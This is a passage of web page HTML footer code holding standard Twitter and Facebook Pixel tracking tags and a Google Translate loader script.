Standard Event data below twq('init','nve06'); twq('track','PageView'); </script><!-- End Twitter universal website tag code --> <!-- Facebook Pixel Code --> <script> !function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod? n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n; n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0; t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window, document,'script','https://connect.facebook.net/en_US/fbevents.js'); fbq('init', '1378208595579873'); // Insert your pixel ID here. fbq('track', 'PageView'); </script> <noscript> <img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=1378208595579873&ev=PageView&noscript=1"> </noscript><!-- DO NOT MODIFY --> <!-- End Facebook Pixel Code --> <script>function gtElInit() {var lib = new google.translate.TranslateService();lib.translatePage('en', 'en', function () {});}</script> <script src="https://translate.google.com/translate_a/element.js?cb=gtElInit&hl=auto&client=wt" type="text/javascript"></script> </body> </html>